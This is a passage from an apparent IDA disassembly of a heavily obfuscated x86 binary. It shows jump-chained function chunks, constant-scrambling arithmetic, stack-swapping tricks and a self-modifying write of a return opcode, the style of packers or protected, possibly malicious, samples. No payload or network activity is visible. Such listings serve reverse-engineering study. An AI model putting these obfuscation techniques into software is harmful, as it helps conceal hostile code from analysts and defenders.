; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_454834:				; CODE XREF: dviuq5id:00450C9Aj
		jmp	loc_446CA8
; ---------------------------------------------------------------------------

loc_454839:				; CODE XREF: dviuq5id:0044A2B2j
		jg	loc_43CD52
		jl	loc_44EE97
; START	OF FUNCTION CHUNK FOR sub_443A0A

loc_454845:				; CODE XREF: sub_443A0A:loc_44A293j
		add	eax, 0D0F194C2h
		xchg	eax, [esp+0]
		jmp	loc_4531F8
; END OF FUNCTION CHUNK	FOR sub_443A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_454853:				; CODE XREF: sub_439013+12BB0j
		jl	loc_4532EC

loc_454859:				; CODE XREF: sub_455518:loc_44BB9Aj
		or	esi, 19856871h
		sub	esi, ds:4000F5h
		add	esi, 9ABE625Bh
		xchg	esi, [esp+8+var_8]

loc_45486E:				; CODE XREF: dviuq5id:loc_4529A8j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_439013

; =============== S U B	R O U T	I N E =======================================



sub_454873	proc near		; CODE XREF: sub_444466-971Ep
					; dviuq5id:004435A8j

; FUNCTION CHUNK AT 0044A7EF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00451B8B SIZE 00000005 BYTES

		xchg	edx, [esp+0]

loc_454876:				; CODE XREF: dviuq5id:00450060j
		pop	edx
		dec	eax
		test	eax, eax
		jl	loc_44DBF7
		inc	eax
		mov	[ebp-1Ch], eax
		jmp	loc_451B8B
sub_454873	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459AAF

loc_454889:				; CODE XREF: sub_459AAF+7j
		call	sub_455ADB
; END OF FUNCTION CHUNK	FOR sub_459AAF
; START	OF FUNCTION CHUNK FOR sub_43A739

loc_45488E:				; CODE XREF: sub_43A739+9j
		jmp	loc_4503AB
; END OF FUNCTION CHUNK	FOR sub_43A739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_454893:				; CODE XREF: sub_439013:loc_44C6E8j
		and	edx, 960F72B1h
		pushf
		jz	loc_43B5F6
		add	edx, esi
		jmp	loc_443B61
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_4548A7:				; CODE XREF: sub_43BA0E:loc_455C4Cj
					; sub_43BA0E+1C1F1j
		push	eax
		lea	eax, dword_4567A4
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]
		push	eax
		jmp	loc_450055
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_4548BA:				; CODE XREF: sub_44CBA2+B2B6j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	loc_451982
		jmp	loc_448AD8
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C148

loc_4548CA:				; CODE XREF: sub_44C148+Fj
		call	sub_45A1A8
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_44C148
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_4548D9:				; CODE XREF: sub_4452A6:loc_445908j
					; sub_4452A6+47ABj ...
		jnz	loc_44BFF7
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_4422D0
		jmp	loc_452390
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------

loc_4548EE:				; CODE XREF: dviuq5id:00449163j
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4548F0:				; CODE XREF: sub_440898:loc_44FD00j
		mov	ds:dword_4489A0, eax
		push	0
		push	137FCF49h
		add	eax, 5E6640BAh
		jmp	loc_4443F4
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_454907:				; CODE XREF: sub_43B24C+ED77j
		jnz	loc_448BC3
		shl	eax, 1Ah
		rol	eax, 19h
		cmp	edx, 0F0F9E549h
		jmp	loc_43C8C6
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_45491E:				; CODE XREF: sub_4483A4-C893j
		jge	loc_441207

loc_454924:				; CODE XREF: sub_459385-139C7j
		jmp	loc_456EF6
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A449

loc_454929:				; CODE XREF: sub_43A449+8j
		jmp	loc_4532F9
; END OF FUNCTION CHUNK	FOR sub_43A449
; ---------------------------------------------------------------------------
		sub	ebp, ecx
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_454930:				; CODE XREF: sub_43C9A9+DFFBj
		mov	[ebp+0], ecx
		pushf
		jp	loc_44F5BF
		jmp	loc_441207
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------

loc_45493F:				; CODE XREF: dviuq5id:00450900j
		jl	loc_4498B5
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_454945:				; CODE XREF: sub_44846C+1D2Bj
		jmp	loc_43BDFE
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
		xor	edi, 650C6AB9h
		popf
		jmp	loc_4498AF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_508. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2829E082h
		pop	eax
		sub	eax, 0CBC85B1Ah
		test	eax, 2000000h
		jmp	loc_445FF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_45496E:				; CODE XREF: sub_4427AE-73F6j
		and	ebx, 39E6143Eh
		jb	loc_45976C

loc_45497A:				; CODE XREF: sub_4427AE:loc_4493D7j
		mov	eax, [ebp+var_8]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+4+var_4]
		push	eax
		push	0E4B57CD1h
		jmp	loc_43DD40
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_45498E:				; CODE XREF: sub_456734+12j
		jnz	loc_441F2A

loc_454994:				; CODE XREF: dviuq5id:004469CAj
		jmp	loc_43C990
; END OF FUNCTION CHUNK	FOR sub_456734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_454999:				; CODE XREF: sub_446682-F32j
		jmp	loc_448145
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		mov	[eax], ecx
		jle	nullsub_402
		jmp	loc_441F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_4549AB:				; CODE XREF: sub_43E4A4:loc_44493Dj
		jz	loc_45A37F
		jmp	loc_43AFF3
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_4549B6:				; CODE XREF: sub_459490-12EB8j
					; dviuq5id:0045948Bj
		ror	eax, 4
		push	ebx
		push	0F8B185Ch
		pop	ebx
		sub	ebx, 0A8EB50C6h
		rol	ebx, 2
		or	ebx, 0E284FEE2h
		add	ebx, 543EF0Dh
		jmp	loc_449A3C
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B81

loc_4549DA:				; CODE XREF: sub_445B81:loc_44DE97j
		jno	sub_44E491
		shr	edi, 1
		or	esi, 0B51FEE90h
		jmp	loc_43EFF3
; END OF FUNCTION CHUNK	FOR sub_445B81
; ---------------------------------------------------------------------------

loc_4549ED:				; CODE XREF: dviuq5id:loc_4452E2j
		jge	loc_44D44B
; START	OF FUNCTION CHUNK FOR sub_43F2CB

loc_4549F3:				; CODE XREF: sub_43F2CB:loc_43F2ECj
		jmp	loc_440DE9
; END OF FUNCTION CHUNK	FOR sub_43F2CB
; ---------------------------------------------------------------------------
		or	ebp, 0ACDEF7BCh
		jno	loc_458910
		test	ebp, 1B489542h
		jmp	loc_44D445
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_454A0F:				; CODE XREF: sub_459804-1021j
		test	edi, edx
		jmp	loc_44E4B5
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_454A16:				; CODE XREF: sub_44BDEB:loc_453B29j
		xor	ecx, 6DE974BBh
		or	ecx, 0E75F72C7h
		xor	ecx, 14F9BCBFh
		add	ecx, 0D3E87D6h
		xchg	ecx, [esp+0]
		jmp	loc_455052
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------
		push	0A130C9B3h
		pop	eax
		jmp	loc_457DEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_454A41:				; CODE XREF: sub_452D9B:loc_458115j
		js	loc_4561F7
		push	edx
		mov	ebx, [eax]
		sub	ebx, 49CFD651h
		jmp	loc_44F1BB
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------

loc_454A55:				; CODE XREF: dviuq5id:0043AC13j
		call	sub_44F413

loc_454A5A:				; DATA XREF: dviuq5id:0043B687o
		push	edx
		push	eax
		mov	eax, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_440294

loc_454A5F:				; CODE XREF: sub_440294:loc_4392C3j
		add	eax, eax
		cdq
		call	sub_43B3CA
; END OF FUNCTION CHUNK	FOR sub_440294
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_454A67:				; CODE XREF: sub_441DDA+BE10j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_454A6C:				; CODE XREF: sub_439C09+A937j
		jmp	loc_43FEE1
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------

loc_454A71:				; CODE XREF: dviuq5id:00458819j
		jg	loc_4439C7
		jmp	loc_43D75A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB05

loc_454A7C:				; CODE XREF: sub_43CB05+Fj
		mov	eax, esp
		call	sub_440405

loc_454A83:				; CODE XREF: sub_453BE2-1A6B3j
		jmp	loc_45643C
; END OF FUNCTION CHUNK	FOR sub_43CB05
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459224

loc_454A89:				; CODE XREF: sub_459224+10j
		jmp	loc_4577A2
; END OF FUNCTION CHUNK	FOR sub_459224
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_454A8E:				; CODE XREF: sub_446DD8+10856j
		jmp	loc_454EED
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_454A93:				; CODE XREF: sub_448FC7+591Bj
		jmp	loc_440844
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD79

loc_454A98:				; CODE XREF: sub_43DD79+3271j
		jmp	nullsub_206
; END OF FUNCTION CHUNK	FOR sub_43DD79

; =============== S U B	R O U T	I N E =======================================



sub_454A9D	proc near		; DATA XREF: sub_43FAE1:loc_439EA2o
		pop	ecx
		pop	ebp
		retn
sub_454A9D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A04B

loc_454AA0:				; CODE XREF: sub_45A04B+5j
		jmp	nullsub_404
; END OF FUNCTION CHUNK	FOR sub_45A04B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3F1

loc_454AA5:				; CODE XREF: sub_43F3F1+47E1j
		jmp	loc_44DB0E
; END OF FUNCTION CHUNK	FOR sub_43F3F1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_454AAA	proc near		; CODE XREF: sub_4437F7:loc_43A12Bj
					; dviuq5id:0043B49Fp ...

; FUNCTION CHUNK AT 004428DF SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp

loc_454AAD:				; CODE XREF: dviuq5id:loc_44820Dj
		jmp	loc_4428DF
sub_454AAA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_454AB2:				; CODE XREF: sub_454094:loc_439E2Cj
		jnz	sub_451084
		jmp	loc_45662C
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_454ABD:				; CODE XREF: sub_43BD72+45Fj
		add	eax, (offset loc_459D31+4)
		pushf
		push	edi
		push	5A038136h
		pop	edi
		add	edi, 5CDFB9C5h
		xor	edi, ds:4000F2h

loc_454AD7:				; CODE XREF: dviuq5id:00451F9Ej
		cmp	edi, 0D95B5F71h
		jmp	loc_442F70
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_454AE2:				; CODE XREF: sub_43AE68:loc_458E2Bj
		push	70173D6Ah
		pop	edi
		or	edi, 0B6228412h
		push	offset sub_45634D
		jmp	nullsub_446
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448F40

loc_454AF8:				; CODE XREF: sub_448F40+19j
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_480
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_480
; END OF FUNCTION CHUNK	FOR sub_448F40
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		jmp	loc_44E75E
; ---------------------------------------------------------------------------

locret_454B15:				; CODE XREF: dviuq5id:0043C0F1j
		retn
; ---------------------------------------------------------------------------

loc_454B16:				; CODE XREF: dviuq5id:00446D4Ej
		jmp	locret_4487D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_454B1B:				; CODE XREF: sub_439E87+Bj
		jmp	loc_457EDC
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_454B20:				; CODE XREF: sub_450E57-159FEj
		xchg	ecx, [esp+0]
		jmp	sub_443F7F
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_454B28:				; CODE XREF: sub_454142+6224j
		jnz	loc_4569CE
		jmp	loc_43EBF7
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------

loc_454B33:				; DATA XREF: sub_4509F7-5F51o
		ror	eax, 1Dh
		push	esi
		push	0E57633DBh
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_454B3D:				; CODE XREF: sub_441DDA+D1B8j
		jmp	loc_454BA6
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_454B42:				; CODE XREF: sub_454094+C6Dj
		test	edi, 43CC4CEh
		jmp	loc_442BC0
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_454B4D:				; CODE XREF: sub_43FA59+AA6Ej
		pop	ebp
		add	ebp, 0F5C5616Dh
		jmp	loc_43C974
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4597EF

loc_454B59:				; CODE XREF: sub_4597EF:loc_45192Aj
		pop	esi
		and	eax, 18083001h
		rol	eax, 2
		xor	eax, 9DE95AA5h
		add	eax, ebp
		jmp	loc_4524E3
; END OF FUNCTION CHUNK	FOR sub_4597EF
; ---------------------------------------------------------------------------

loc_454B70:				; CODE XREF: dviuq5id:00452157j
		push	eax
		push	ecx
		push	edx
		push	ebx
		or	eax, ebx
		jo	loc_44F1DE
		push	ecx
		jmp	loc_445004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443173

loc_454B82:				; CODE XREF: sub_443173+19j
		and	edi, 695CAEB4h
		add	edi, 0BEFC4550h
		mov	[edi], edx
		pop	edi

loc_454B91:				; CODE XREF: sub_440C61-61F3j
					; dviuq5id:loc_450344j
		xchg	eax, edx
		call	sub_446B61

loc_454B97:				; CODE XREF: sub_459804-17B3j
		jmp	loc_44E4C2
; END OF FUNCTION CHUNK	FOR sub_443173
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A8C4

loc_454B9C:				; CODE XREF: sub_44A8C4+17j
		jmp	loc_456935
; END OF FUNCTION CHUNK	FOR sub_44A8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441CEF

loc_454BA1:				; CODE XREF: sub_441CEF+18j
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_441CEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_454BA6:				; CODE XREF: sub_441DDA:loc_454B3Dj
		or	esi, 80DE01C4h
		rol	esi, 0Bh
		call	sub_45345A
; END OF FUNCTION CHUNK	FOR sub_441DDA
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_454BB4:				; CODE XREF: sub_443ECE+12CB2j
		jmp	nullsub_252
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_454BB9:				; CODE XREF: sub_43ED10+16EBFj
		pop	edi
		call	sub_453EBC

loc_454BBF:				; CODE XREF: sub_44EF23+15j
		jmp	loc_44FBB1
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_454BC4:				; CODE XREF: sub_43FA59+96C4j
		jmp	loc_44E68A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E9E7

loc_454BC9:				; CODE XREF: sub_43E9E7:loc_4417C7j
		add	ecx, 6DB3F85Bh
		call	sub_43EA61

loc_454BD4:				; CODE XREF: dviuq5id:loc_44EE20j
					; sub_43938B:loc_44FA5Fj
		jmp	sub_458F2A
; END OF FUNCTION CHUNK	FOR sub_43E9E7
; ---------------------------------------------------------------------------

loc_454BD9:				; CODE XREF: dviuq5id:004407CCj
		jo	loc_4536E2
		jmp	loc_439371
; ---------------------------------------------------------------------------

loc_454BE4:				; CODE XREF: dviuq5id:0044B6B9j
		xor	ecx, 0C36AD221h

; =============== S U B	R O U T	I N E =======================================



sub_454BEA	proc near		; CODE XREF: dviuq5id:00455F02p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439B2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D55B SIZE 00000021 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		pushf
		push	94D9B9E0h

loc_454BF4:				; CODE XREF: dviuq5id:00444A4Dj
		pop	edx
		xor	edx, 0E44CA301h
		jmp	loc_44D55B
sub_454BEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_454C00:				; CODE XREF: sub_44E1C0-5D6Fj
		jge	loc_44C581

loc_454C06:				; CODE XREF: sub_44E1C0:loc_43A110j
		push	0D84FEC36h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		rol	eax, 0Ch
		or	eax, 192DA9F2h
		sub	eax, 0E46EBFEh
		jmp	loc_442901
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_454C25:				; CODE XREF: sub_454267:loc_448958j
		jz	sub_455CD1
		jmp	loc_444678
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		mov	edx, 0F75CA70h
		push	edi
		push	57708FDBh
		pop	edi
		sub	edi, 437C5B19h
		add	edi, 112BBAFh
		sub	edi, 0ECB95AA9h
		test	edi, 4
		jmp	loc_4443D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44117F

loc_454C59:				; CODE XREF: sub_44117F:loc_4519DCj
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-14h], eax
		push	offset sub_43F1D6
		jmp	loc_457F79
; END OF FUNCTION CHUNK	FOR sub_44117F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6A7

loc_454C71:				; CODE XREF: sub_43E6A7-456Cj
		rol	eax, 7
		adc	eax, 0FECF97FFh
		jo	loc_45165B

loc_454C80:				; CODE XREF: sub_43E6A7:loc_455136j
		call	sub_4440CA

loc_454C85:				; CODE XREF: sub_456734-11B76j
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_43E6A7
; ---------------------------------------------------------------------------

loc_454C8A:				; CODE XREF: dviuq5id:0043D36Bj
		jmp	loc_44491A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396BB

loc_454C8F:				; CODE XREF: sub_4396BB+626j
		add	ecx, 0C1875D99h
		xchg	ecx, [esp+0]
		jmp	loc_45306F
; END OF FUNCTION CHUNK	FOR sub_4396BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_454C9D:				; CODE XREF: sub_44EAC4:loc_44E582j
		add	ecx, 0BD163E9Fh
		xchg	ecx, [esp+8+var_8]
		lea	eax, [ebp-800h]
		push	esi
		jmp	loc_4416F2
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		ja	loc_455DDD
		jmp	sub_44122E
; ---------------------------------------------------------------------------

loc_454CBD:				; CODE XREF: dviuq5id:0044689Aj
		xchg	edi, [esp]
		jmp	sub_44A58C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443563

loc_454CC6:				; CODE XREF: sub_443563-93BEj
		jmp	nullsub_521
; END OF FUNCTION CHUNK	FOR sub_443563
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440B69

loc_454CCC:				; CODE XREF: sub_440B69+84E7j
		mov	eax, [ebp-4]
		mov	al, [eax]
		push	offset sub_44AD42
		jmp	nullsub_246
; END OF FUNCTION CHUNK	FOR sub_440B69
; ---------------------------------------------------------------------------
		jnb	loc_4512F6
		jmp	sub_45861F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_407. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_451. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_454CE8:				; CODE XREF: sub_45383B-4F14j
		jmp	loc_457DC9
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_454CED:				; CODE XREF: sub_440898+969Aj
		jmp	loc_45915E
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_454CF2:				; CODE XREF: sub_454094:loc_45646Fj
		ja	loc_43E7B2
		xchg	eax, [ebp+0]
		sub	esi, 5A0209E8h
		jmp	loc_454B42
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

loc_454D06:				; CODE XREF: dviuq5id:0044AF29j
		cmp	ebp, 934575D3h
		jmp	loc_457F8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_454D11:				; CODE XREF: sub_4427AE+35DCj
					; sub_44BB42:loc_455869j
		push	[ebp+arg_8]

loc_454D14:				; CODE XREF: sub_4411C6:loc_450D2Ej
		push	[ebp+arg_4]
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp+0]
		push	7A2F69BCh
		pop	ebx
		or	ebx, 87330CDh
		jmp	loc_43E7DD
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_454D2E:				; CODE XREF: sub_43D181+1A693j
		jb	loc_458384
		not	edx

loc_454D36:				; CODE XREF: sub_459385:loc_43F36Aj
		xor	edx, 974CF7E5h
		add	edx, 795C405Fh
		xchg	edx, [esp-0Ch+arg_8]
		jmp	sub_451E0A
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_454D4A:				; CODE XREF: sub_44B2EA-9EFAj
					; sub_44B2EA:loc_459F17j
		call	sub_44D2A8
		push	0D8EEBE2Fh
		pop	edx
		add	edx, 6DD2A06Bh
		rol	edx, 17h
		cmp	edx, 95BC0FD7h
		jmp	loc_44DEF4
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_454D69:				; CODE XREF: sub_459385-1E659j
					; sub_459385:loc_44CBC6j
		mov	eax, [esp+0]
		call	sub_452A73

loc_454D71:				; CODE XREF: dviuq5id:0044381Bj
					; sub_448392+7j
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_449E71
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_454D7B:				; CODE XREF: sub_454094-11FBAj
					; sub_4525D0-2CE7j
		pop	esi
		rol	edx, 5
		xor	edx, 0D3E1CCA2h
		push	esi
		jmp	loc_43DDF7
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_454D8B	proc near		; DATA XREF: sub_441A02o
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0FF7E428h
		pop	ecx
sub_454D8B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44C592

loc_454D96:				; CODE XREF: sub_44C592:loc_45A3EDj
		add	ecx, 0F7946B31h
		or	ecx, 0CF3DB00Fh
		jmp	loc_43EE44
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442D9D

loc_454DA7:				; CODE XREF: sub_442D9D+Cj
		xor	ebx, 25177D7Fh
		and	ebx, 8E8245C7h
		add	ebx, 0FB7FFF80h
		test	eax, ebx
		jmp	loc_4396EA
; END OF FUNCTION CHUNK	FOR sub_442D9D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_454DC1:				; CODE XREF: sub_439E87+14371j
		jmp	loc_43B74B
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_454DC6:				; CODE XREF: sub_4509F7-9EE1j
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jmp	sub_43C9FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_454DD2:				; CODE XREF: sub_43D181:loc_43FB1Fj
		add	eax, 0E411EFADh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_444338
		jmp	loc_447EA0
; END OF FUNCTION CHUNK	FOR sub_43D181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_523. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_454DE9:				; CODE XREF: dviuq5id:00441022j
		jbe	locret_452F05
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_454DEF:				; CODE XREF: sub_44B2EA+8A5Dj
		or	edi, 969ACC99h
		call	sub_457574

loc_454DFA:				; CODE XREF: dviuq5id:00450E68j
		jmp	loc_43D07A
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_454DFF:				; CODE XREF: dviuq5id:0044F358j
		jmp	loc_4585EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_454E04:				; CODE XREF: sub_43FA59-2049j
		jmp	loc_450ECC
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D42F

loc_454E09:				; CODE XREF: sub_44D42F:loc_452A96j
		xchg	edx, [esp+8+var_8]
		jmp	loc_43A1B8
; END OF FUNCTION CHUNK	FOR sub_44D42F
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_44F88A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
